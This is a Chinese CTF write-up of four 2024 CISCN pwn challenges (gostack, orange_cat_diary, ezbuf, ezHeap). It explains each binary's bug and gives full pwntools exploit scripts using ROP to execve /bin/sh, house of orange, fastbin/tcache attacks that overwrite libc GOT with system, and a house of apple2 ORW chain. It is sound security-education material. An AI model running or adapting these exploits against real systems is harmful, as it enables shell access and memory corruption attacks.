2024CISCN初赛 gostack 比赛时调了很长时间才出的,这里回顾一下。
go语言的pwn题,ida打开逆向不好看(ida8.1还好,会加载go的一些函数名,ida7.7就更难分析了)
首先运行一下,提示输入Input your magic message :
并且输入完就退出了,所以只有一次输入的机会,猜测存在栈溢出。
用shift+f12定位到该输出,找到主要函数,如下:
分析发现0x4A09D3处应该就是我们的输入函数,gdb在这下断点,输入数据后,查看和ebp的偏移。
输入完后发现数据并不在当前栈内,查看ida反编译代码发现输入完存在赋值操作,因此猜测后续会把输入的数据再拷贝到栈上。
所以一直ni下一步,这时就会发现栈上有我们输入的数据了,计算偏移即可。
由于没有libc,且gadget充足,因此考虑syscall(syscall|ret需要使用ropper找),首先调用read向bss读入binsh,之后调用execeve。
这里有个坑 ,就是在bufio__ptr_Scanner_Scan
函数里有一个cmp比较指令,比较栈上那一处是否为0,所以填充到该位置时填充0,方便起见,垃圾数据全部填充0。
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from pwn import *from ctypes import *from LibcSearcher import *context(os='linux' , arch='amd64' , log_level='debug' ) def s (a ): p.send(a) def sa (a, b ): p.sendafter(a, b) def sl (a ): p.sendline(a) def sla (a, b ): p.sendlineafter(a, b) def r (a ): return p.recv(a) def ru (a ): return p.recvuntil(a) def debug (): gdb.attach(p) pause() def get_addr (): return u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) def get_sb (libcbase ): return libcbase + libc.sym['system' ], libcbase + next (libc.search(b'/bin/sh\x00' )) p = process('./pwn' ) elf = ELF('./pwn' ) pop_rax = 0x40f984 pop_rdi_5 = 0x4a18a5 pop_rsi = 0x42138a pop_rdx = 0x4944ec syscall = 0x4616C9 bss = 0x5633C0 payload = b'\x00' * 0x1d0 + p64(pop_rax) + p64(0 ) + p64(pop_rdi_5) + p64(0 ) * 6 + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x10 ) + p64(syscall) payload += p64(pop_rax) + p64(59 ) + p64(pop_rdi_5) + p64(bss) * 6 + p64(pop_rsi) + p64(0 ) + p64(pop_rdx) + p64(0 ) + p64(syscall) sl(payload) sl(b'/bin/sh\x00' ) p.interactive()
这题也有第二种做法,直接ret2backdoor,但是因为不好分析没找到后门函数。
orange_cat_diary 算是堆题签到题,这里也写一下吧。
libc2.23。存在uaf,不同的是没有heap_list,是复用一个指针ptr,且edit存在堆溢出。
利用思路
1、 首先需要泄露libc,由于没有heap_list,没法构造一个fast chunk来分割unsorted chunk和top chunk,就会造成add的size太小没法泄露libc,add太大的话会和top chunk合并,也是没法泄露libc。
结合题目名,使用house of orange泄露libc。
回顾一下主要思想: 不使用free函数而得到一个free chunk
所以,可以修改top chunk为小的size,再add一个大的size,堆管理器会free掉原始的top chunk,这样就获得了一个free后的unsorted chunk,之后add一个小的size切割unsorted chunk来泄露libc。
2、 泄露libc后,2.23的libc,且存在uaf的情况下直接fastbin attack 打malloc_hook为one_gadget即可
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 from pwn import *from ctypes import *from LibcSearcher import *context(os='linux' , arch='amd64' , log_level='debug' ) def s (a ): p.send(a) def sa (a, b ): p.sendafter(a, b) def sl (a ): p.sendline(a) def sla (a, b ): p.sendlineafter(a, b) def r (a ): return p.recv(a) def ru (a ): return p.recvuntil(a) def debug (): gdb.attach(p) pause() def get_addr (): return u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) def get_sb (libcbase ): return libcbase + libc.sym['system' ], libcbase + next (libc.search(b'/bin/sh\x00' )) p = process('./pwn' ) elf = ELF('./pwn' ) libc = ELF('./libc-2.23.so' ) def add (size,data = 'a' ): sla("choice:" ,str (1 )) sla("length of the diary content:" ,str (size)) sa("enter the diary content:" ,data) def free (): sla("choice:" ,str (3 )) def edit (size,data = 'a' ): sla("choice:" ,str (4 )) sla("length of the diary content:" ,str (size)) sa("enter the diary content:" ,data) def show (): sla("choice:" ,str (2 )) sla("your name.\n" ,'aaaa' ) add(0x18 ) edit(0x20 ,b'Y' *0x18 +p64(0x1000 -0x20 +1 )) add(0x1000 ) add(0x68 ) show() libc_base = get_addr() - 0x3c5161 malloc_hook = libc_base + libc.sym['__malloc_hook' ] one_gadget = libc_base + 0xf03a4 success("libc_base: " + hex (libc_base)) free() edit(0x68 ,p64(malloc_hook - (0x50 -0x2d ))) add(0x68 ) add(0x68 ,b'a' * (0x50 -0x3d ) + p64(one_gadget)) sla("choice:" ,str (1 )) sla("length of the diary content:" ,str (0x20 )) p.interactive()
ezbuf protobuf题目,相关知识详情参考之前博客:PWN-protobuf | 摆烂小子
本题参考大佬博客:深入二进制安全:全面解析Protobuf_protoc buffer 安全性-CSDN博客
前边的结构体还原部分参考大佬博客,还原后如下:
1 2 3 4 5 6 7 8 9 syntax = "proto2" ; message heybro { required bytes whatcon = 1 ; required sint64 whattodo = 2 ; required sint64 whatidx = 3 ; required sint64 whatsize = 4 ; required uint32 whatsthis = 5 ; }
生成Heybro_pb2.py
之后分析题目逻辑。
main
Init
add
delete
show
利用思路 发现最多能free10次,满tcache后,剩余3次chunk可以完成一次double free,即构造一次任意地址写。
所以,可以使用double free + tcache stash unlink attack
实现 fastbin reverse into tcache
free填满tcache,chunk0 -> chunk1 … -> chunk6。
在fastbin中完成double free,chunk7 -> chunk8 -> chunk7。
将tcache中的chunk全部申请回来,然后申请chunk7,此时会进行tcache stash unlink,即把后续的chunk8和chunk7放到tcache中。此时tcache中:chunk8 -> chunk7。如果申请chunk7时候写入数据即可修改fd指针。
利用过程 1、首先泄露libc 大佬博客里写的比较简略:初始状态bin中有剩余的small bin,申请一个chunk会在small bin切割并残留fd指针指向libc,直接打印可以泄露libc地址,bin中初始状态如图所示:
这里我们详细分析一下。
因为add函数首先add了一块chunk1(size_0x30)中是使用的memcpy来进行赋值的,而memcpy函数在赋值前会先malloc一块内存chunk2用来存储原数据,大小根据输入数据而定,然后把chunk2中数据赋值给chunk1。chunk1是固定0x30的,可直接从上图残留的tcache(0x40)里取,而chunk2如果不是0x30的话会从上图残留的那个small bin里切割。
我们分别add两次对比一下,第一次add,传入data = ‘a’,他的chuk1是0x20的(最小chunk_size)
第二次add,传入data = ‘a’ * 0x20,他的chunk1是0x30大小的。
至于上方还从small bin中切割add了一个0x50的,应该是protobuf所用。
之后,将chunk2的data赋值给chunk1,赋值后chunk1如图所示:
因为chunk2是切割的small bin,所以会自带libc地址,赋值给chunk1后也会保留libc地址,所以直接show即可获取libc地址。
2、泄露堆地址 因为存在uaf,直接free后show即可。
1 2 3 4 5 6 7 8 9 for i in range (9 ): add(i) for i in range (8 ,1 ,-1 ): free(i) show(8 ) //这里show最后一个,可以直接获取堆地址高位,其余chunk会被key干扰。 p.recvuntil(b'Content:' ) heap_base = (u64(p.recv(5 ).ljust(8 , b'\x00' )) << 12 ) - 0x5000 success("heap_base: " + hex (heap_base))
3、fastbin reverse into tcache 使用fastbin reverse into tcache
来进行任意地址写,修改libc中的got表为system。
1 2 3 4 5 6 7 8 9 10 free(0 ) free(1 ) free(0 ) for i in range (2 ,9 ): add(i) add(0 ,p64(((heap_base >> 12 ) + 4 ) ^ (strspn_got - 8 ))) // strspn_got - 8 是为了0x10 对齐,+4 不知道什么原因,不+4 的话bin 中地址就是strspn_got + 4 add(1 ) add(2 ) add(3 ,b'a' * 8 + p64(system))
这里详细讲一下,elf的got是不可改的,但是libc的got可改,所以可以修改libc的got表。
那么怎么定位呢。
直接使用vmmap查看libc最后一个,即可写的那一段,tel查看即可。
不过对于题目给定的libc是没有符号信息的,如图所示:
我们可以复制一份elf,对其patch有符号的libc,即debug_glibc,之后再次查看
注:这里还需要patch libseccomp.so.2
1 patchelf --replace-needed libseccomp.so.2 /usr/lib/x86_64-linux-gnu/libseccomp.so.2 ./pwn
如图所示:
为什么选这个strspn_got
表呢,是因为show里边的strtok调用了该函数,且第一个参数就是我们输入的数据,因此修改strspn_got
为system后传入binsh数据即可getshell。
还需要注意的是 ,直接传入/bin/sh\x00会出问题。猜测可能是因为序列化后所有字符都是相邻的,所以在最前面任意加个字符和分号,然后传/bin/sh\x00没问题。
fastbin reverse into tcache
前:
fastbin reverse into tcache
后:
最后成功getshell。
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 from pwn import *import Heybro_pb2context(os='linux' , arch='amd64' , log_level='debug' ) def s (a ): p.send(a) def sa (a, b ): p.sendafter(a, b) def sl (a ): p.sendline(a) def sla (a, b ): p.sendlineafter(a, b) def r (a ): return p.recv(a) def ru (a ): return p.recvuntil(a) def debug (): gdb.attach(p) pause() def get_addr (): return u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) def get_sb (libcbase ): return libcbase + libc.sym['system' ], libcbase + next (libc.search(b'/bin/sh\x00' )) p = process('./pwn' ) elf = ELF('./pwn' ) libc = ELF('./libc.so.6' ) def add (index, content = b'a' ): heybro = Heybro_pb2.heybro() heybro.whattodo = 1 heybro.whatidx = index heybro.whatsize = 0 heybro.whatcon = content heybro.whatsthis = 0 p.sendafter(b'WANT?\n' , heybro.SerializeToString()) def free (index ): heybro = Heybro_pb2.heybro() heybro.whattodo = 2 heybro.whatidx = index heybro.whatsize = 0 heybro.whatcon = b'' heybro.whatsthis = 0 p.sendafter(b'WANT?\n' , heybro.SerializeToString()) def show (index ): heybro = Heybro_pb2.heybro() heybro.whattodo = 3 heybro.whatidx = index heybro.whatsize = 0 heybro.whatcon = b'' heybro.whatsthis = 0 p.sendafter(b'WANT?\n' , heybro.SerializeToString()) def shell (): heybro = Heybro_pb2.heybro() heybro.whattodo = 3 heybro.whatidx = 3 heybro.whatsize = 0x30 heybro.whatcon = b'a;' + b'/bin/sh\x00' heybro.whatsthis = 0 p.sendafter(b'WANT?\n' , heybro.SerializeToString()) add(0 ) show(0 ) libc_base = get_addr() - 0x21ac61 success("libc_base: " + hex (libc_base)) strspn_got = libc_base + 0x21a058 one_gadget = libc_base + 0x10d9ca system = libc_base + libc.sym['system' ] add(1 ) for i in range (9 ): add(i) for i in range (8 ,1 ,-1 ): free(i) show(8 ) p.recvuntil(b'Content:' ) heap_base = (u64(p.recv(5 ).ljust(8 , b'\x00' )) << 12 ) - 0x5000 success("heap_base: " + hex (heap_base)) free(0 ) free(1 ) free(0 ) for i in range (2 ,9 ): add(i) add(0 ,p64(((heap_base >> 12 ) + 4 ) ^ (libc_base + 0x21a050 ))) add(1 ) add(2 ) add(3 ,b'a' * 8 + p64(system)) shell() p.interactive()
小结 当然,这个题还可以使用其他的方法,包括修改其他的libc_got成one_gadget或者打environ往栈上返回地址写rop链等等。
ezHeap libc2.35,开启了沙箱,白名单如图所示:
常规菜单题。
add申请指定小于等于0x501size的chunk,并读入数据。
delete没有uaf。
edit重新输入size,存在溢出写。
show打印内容。
利用思路 直接套用house of apple2模板即可。
利用过程 1、首先泄露libc地址 因为开启了seccomp,bin中存在很多chunk,我们首先add一个大sizechunk,把fast bin和unsorted bin中的chunk都链入small bin中,如图:
之后找两个相近的chunk,add图中0xf0的chunk_0x556a3e959240,并填充0x260个字节,就可填充到0x556a3e959490处,根据show中printf(“%s”)一直到\x00截止的特性打印出libc地址。
2、堆地址泄露同上 3、largebin attack 修改_IO_list_all 为heap_addr。
4、套apple2模板打IO 这里需要注意,orw的时候,不能用open的函数地址,得用syscall,因为白名单只包含了open,没有openat,调用open函数的话会走到openat里,就会提示system bad call。
但是syscall系统调用不会走openat,可以执行(这里syscall的gadget也是使用ropper查找)
1 ropper --file libc.so.6 --search 'syscall'
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 from pwn import *from ctypes import *from LibcSearcher import *context(os='linux' , arch='amd64' , log_level='debug' ) def s (a ): p.send(a) def sa (a, b ): p.sendafter(a, b) def sl (a ): p.sendline(a) def sla (a, b ): p.sendlineafter(a, b) def r (a ): return p.recv(a) def ru (a ): return p.recvuntil(a) def debug (): gdb.attach(p) pause() def get_addr (): return u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) def get_sb (libcbase ): return libcbase + libc.sym['system' ], libcbase + next (libc.search(b'/bin/sh\x00' )) p = process('./pwn' ) elf = ELF('./pwn' ) libc = ELF('./libc.so.6' ) def add (size,data = 'a' ): sla("choice >> " ,str (1 )) sla("size:" ,str (size)) sa("content:" ,data) def free (index ): sla("choice >> " ,str (2 )) sla("idx:\n" ,str (index)) def edit (index,size,data = 'a' ): sla("choice >> " ,str (3 )) sla("idx:" ,str (index)) sla("size:" ,str (size)) sa("content:" ,data) def show (index ): sla("choice >> " ,str (4 )) sla("idx:" ,str (index)) add(0x450 ) debug() add(0xe0 ) payload = b'a' * 0x260 edit(1 ,len (payload),payload) show(1 ) ru(b'a' * 0x260 ) libc_base = get_addr() - 0x21ae70 IO_list_all = libc_base + libc.sym["_IO_list_all" ] pop_rax = libc_base + 0x45eb0 pop_rdi = libc_base + 0x2a3e5 pop_rsi = libc_base + 0x2be51 pop_rdx_r12 = libc_base + 0x11f2e7 ret = libc_base + 0x29139 open_addr = libc_base + libc.sym['open' ] read_addr = libc_base + libc.sym['read' ] write_addr = libc_base + libc.sym['write' ] puts_addr = libc_base + libc.sym['puts' ] leave_ret = libc_base + 0x4da83 syscall = libc_base + 0x91316 setcontext = libc_base + libc.sym["setcontext" ] stderr = libc_base + libc.sym['stderr' ] gadget_addr = libc_base + 0x16a050 + 26 wfile = libc_base + libc.sym['_IO_wfile_jumps' ] success("libc_base: " + hex (libc_base)) success("gadget_addr: " + hex (gadget_addr)) success("stderr: " + hex (stderr)) success("wfile: " + hex (wfile)) add(0x10 ) payload = b'a' * 0x20 edit(2 ,len (payload),payload) show(2 ) ru(b'a' * 0x20 ) heap_base = u64(p.recv(6 ).ljust(8 ,b'\x00' )) - 0x1e40 success("heap_base: " + hex (heap_base)) add(0x200 ) add(0x410 ) add(0x200 ) add(0x420 ) add(0x200 ) free(6 ) add(0x430 ) free(4 ) payload = b'a' * 0x200 + p64(0 ) + p64(0x431 ) + p64(0 ) * 3 + p64(IO_list_all - 0x20 ) edit(5 ,len (payload),payload) add(0x430 ) add(0x410 ) orw_addr = heap_base + 0x2910 //chunk4 + 0x10 fake_io_addr = heap_base + 0x2f30 //chunk6 fake_IO_FILE = p64(0 )+p64(leave_ret) fake_IO_FILE += p64(0 )+p64(0xffffffffffffffff ) fake_IO_FILE += p64(0 )*2 +p64(0 )+p64(orw_addr) fake_IO_FILE += p64(0 )*4 fake_IO_FILE += p64(0 )*3 +p64(heap_base + 0x6c0 ) fake_IO_FILE += p64(0 )*2 +p64(fake_io_addr+0xe0 )+p64(0 ) fake_IO_FILE += p64(0 )*4 fake_IO_FILE += p64(0 )+p64(wfile) fake_IO_FILE += p64(0 )*0x1c + p64(fake_io_addr+0xe0 +0xe8 ) fake_IO_FILE += p64(0 )*0xd +p64(gadget_addr) payload = b'a' * 0x200 + p64(0 ) + p64(0x431 ) + fake_IO_FILE edit(5 ,len (payload),payload) orw = b'./flag\x00\x00' orw += p64(pop_rdx_r12)+p64(0 )+p64(fake_io_addr-0x10 ) orw += p64(pop_rdi)+p64(orw_addr) orw += p64(pop_rsi)+p64(0 ) orw += p64(pop_rax) + p64(2 ) orw += p64(syscall) orw += p64(pop_rdi)+p64(3 ) orw += p64(pop_rsi)+p64(orw_addr+0x100 ) orw += p64(pop_rdx_r12)+p64(0x50 )+p64(0 ) orw += p64(pop_rax) + p64(0 ) orw += p64(syscall) orw += p64(pop_rdi)+p64(1 ) orw += p64(pop_rsi)+p64(orw_addr+0x100 ) orw += p64(pop_rax) + p64(1 ) orw += p64(syscall) payload = b'a' * 0x200 + p64(0 ) + p64(0x421 ) + orw edit(3 ,len (payload),payload) sla("choice >> " ,str (5 )) p.interactive()